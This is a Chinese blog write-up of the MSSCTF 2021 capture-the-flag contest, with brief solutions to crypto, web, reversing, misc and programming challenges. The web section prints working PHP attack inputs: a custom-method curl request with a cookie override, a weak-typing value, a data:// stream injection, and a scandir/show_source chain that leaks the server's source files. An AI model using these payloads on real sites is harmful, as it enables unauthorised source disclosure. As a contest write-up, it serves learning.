MSSCTF 2021 Writeup

审核也过了我就顺手发一下

实际上主要是想吐槽 Web 出题人题目里夹带私货,但是没什么好地方吐槽。

我当时看 Web1 的时候还不知道这个 HS 是啥ㄟ<(=▔.▔=)>ㄏ,结果下午打美团杯的时候恍然大悟。

有一说一,我也挺喜欢 Hanser 的歌的

以下是正文

CRYPTO

OldAffineSignin

打开下发文件发现是给定了码表的替换

反过来映射即可

Web

HS.com

curl -vv 链接

< HTTP/1.1 405 Method Not Allowed
< Server: nginx/1.14.2
< Date: Sun, 11 Jul 2021 08:48:44 GMT
< Content-Type: text/html; charset=UTF-8
< Content-Length: 0
< Connection: keep-alive
< Allowed-Request-Method: HS
< X-Powered-By: PHP/8.0.8

注意到给定了 Request Method,将 Request Method 替换成 HS 后开始代码审计

$fake_data = $_GET['innerspace'];
$data = $_REQUEST['innerspace']; 

题目要求上面两个变量不相同,注意到 $_REQUEST 是可以从 Cookies 读入的,所以直接提交即可

curl --cookie "innerspace=mssctf" -X HS url

babyphp

打开发现是套了三层娃的代码审计

第一层是很常见的 PHP 弱类型,构造 level1=0x91d

第二层则是流注入,构造 level2=data:text/plain,mssCTF is interesting!

第三层是绕过正则匹配,但是发现能用的差不多都被扬了,考虑只使用没有参数的函数,构造
level3=show_source(next(array_reverse(scandir(pos(localeconv())))));

RE

signin

拖进 IDA,F5

发现是对读入的字符串异或然后和给定值比对

倒回去即可

#include <stdio.h> 
#include <string.h>

int main()
{
    unsigned long long v4[3]; // [rsp+20h] [rbp-60h]
    char a[90];
    char v5[] = "\n\t_\bqqv$";
    memset( a, 0, sizeof(a) );

    v4[0] = 0x742D23213C3C6E31;
    v4[1] = 0x44124317282A2B7B;
    v4[2] = 0x530050531E491C10;

    memcpy( a, v4, sizeof(v4) );
    memcpy( a + 24, v5, sizeof(v5) );

//    for( int j = 0; j <= 31; ++j )
//        a[j] = *( ( (char *)v4 ) + j );

    for( int j = 0; j <= 31; j ++ ) {
        a[j] ^= 2u * ( j + 4 );
    }

    printf("Here is your flag : mssctf{%s}", a);
    return 0;
}

MISC

give you flag

下载,解压

发现是 base64,解码,还是,再解码……发现解不了,反转一下,接着解码……

发现解出一团乱码,反转,再解码……

得到 flag

PPC

sequence

注意函数很快会收敛到 $3$。

暴力计算判断是否收敛即可。

2077

如果知道每个物品的价值的话就是裸的完全背包,则问题集中在计算每个物品的价值。

注意到如果构造关系保证 DAG 的话很容易求出每个点的价值,考虑去环。

发现 $n,m \leq 200$,暴力去环即可。

3 thoughts on “MSSCTF 2021 Writeup

  • NOI 2021 什么时候发?/期待 /大佬nb /woshiluo_yyds

    1. 已经发了

  • 距离罗师傅最近的一次

  • 发表回复

    您的邮箱地址不会被公开。 必填项已用 * 标注

    message
    account_circle
    Please input name.
    email
    Please input email address.
    links

    此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据